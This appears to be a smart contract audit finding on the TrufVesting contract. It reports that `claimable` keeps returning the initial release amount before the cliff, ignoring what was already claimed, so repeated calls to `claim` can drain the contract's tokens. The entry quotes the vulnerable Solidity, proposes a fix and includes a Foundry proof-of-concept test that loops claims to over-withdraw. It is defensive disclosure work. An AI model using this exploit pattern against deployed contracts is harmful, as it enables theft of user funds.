Users can fully drain the `TrufVesting` contract
Due to flaw in the logic in `claimable` any arbitrary user can drain all the funds within the contract.\\nA user's claimable is calculated in the following way:\\nUp until start time it is 0.\\nBetween start time and cliff time it's equal to `initialRelease`.\\nAfter cliff time, it linearly increases until the full period ends.\\nHowever, if we look at the code, when we are at stage 2., it always returns `initialRelease`, even if we've already claimed it. This would allow for any arbitrary user to call claim as many times as they wish and every time they'd receive `initialRelease`. Given enough iterations, any user can drain the contract.\\n```\\n    function claimable(uint256 categoryId, uint256 vestingId, address user)\\n        public\\n        view\\n        returns (uint256 claimableAmount)\\n    {\\n        UserVesting memory userVesting = userVestings[categoryId][vestingId][user];\\n\\n        VestingInfo memory info = vestingInfos[categoryId][vestingId];\\n\\n        uint64 startTime = userVesting.startTime + info.initialReleasePeriod;\\n\\n        if (startTime > block.timestamp) {\\n            return 0;\\n        }\\n\\n        uint256 totalAmount = userVesting.amount;\\n\\n        uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR;\\n\\n        startTime += info.cliff;\\n\\n        if (startTime > block.timestamp) {\\n            return initialRelease;\\n        }\\n```\\n\\n```\\n    function claim(address user, uint256 categoryId, uint256 vestingId, uint256 claimAmount) public {\\n        if (user != msg.sender && (!categories[categoryId].adminClaimable || msg.sender != owner())) {\\n            revert Forbidden(msg.sender);\\n        }\\n\\n        uint256 claimableAmount = claimable(categoryId, vestingId, user);\\n        if (claimAmount == type(uint256).max) {\\n            claimAmount = claimableAmount;\\n        } else if (claimAmount > claimableAmount) {\\n            revert ClaimAmountExceed();\\n        }\\n        if (claimAmount == 0) {\\n            revert ZeroAmount();\\n        }\\n\\n        categories[categoryId].totalClaimed += claimAmount;\\n        userVestings[categoryId][vestingId][user].claimed += claimAmount;\\n        trufToken.safeTransfer(user, claimAmount);\\n\\n        emit Claimed(categoryId, vestingId, user, claimAmount);\\n    }\\n```\\n
change the if check to the following\\n```\\n        if (startTime > block.timestamp) {\\n            if (initialRelease > userVesting.claimed) {\\n            return initialRelease - userVesting.claimed;\\n            }\\n            else { return 0; } \\n        }\\n```\\n\\nPoC\\n```\\n    function test_cliffVestingDrain() public { \\n        _setupVestingPlan();\\n        uint256 categoryId = 2;\\n        uint256 vestingId = 0;\\n        uint256 stakeAmount = 10e18;\\n        uint256 duration = 30 days;\\n\\n        vm.startPrank(owner);\\n        \\n        vesting.setUserVesting(categoryId, vestingId, alice, 0, stakeAmount);\\n\\n        vm.warp(block.timestamp + 11 days);     // warping 11 days, because initial release period is 10 days\\n                                                // and cliff is at 20 days. We need to be in the middle \\n        vm.startPrank(alice);\\n        assertEq(trufToken.balanceOf(alice), 0);\\n        vesting.claim(alice, categoryId, vestingId, type(uint256).max);\\n        \\n        uint256 balance = trufToken.balanceOf(alice);\\n        assertEq(balance, stakeAmount * 5 / 100);  // Alice should be able to have claimed just 5% of the vesting \\n\\n        for (uint i; i < 39; i++ ){ \\n            vesting.claim(alice, categoryId, vestingId, type(uint256).max);\\n        }\\n        uint256 newBalance = trufToken.balanceOf(alice);   // Alice has claimed 2x the amount she was supposed to be vested. \\n        assertEq(newBalance, stakeAmount * 2);             // In fact she can keep on doing this to drain the whole contract\\n    }\\n```\\n
Any user can drain the contract
```\\n    function claimable(uint256 categoryId, uint256 vestingId, address user)\\n        public\\n        view\\n        returns (uint256 claimableAmount)\\n    {\\n        UserVesting memory userVesting = userVestings[categoryId][vestingId][user];\\n\\n        VestingInfo memory info = vestingInfos[categoryId][vestingId];\\n\\n        uint64 startTime = userVesting.startTime + info.initialReleasePeriod;\\n\\n        if (startTime > block.timestamp) {\\n            return 0;\\n        }\\n\\n        uint256 totalAmount = userVesting.amount;\\n\\n        uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR;\\n\\n        startTime += info.cliff;\\n\\n        if (startTime > block.timestamp) {\\n            return initialRelease;\\n        }\\n```\\n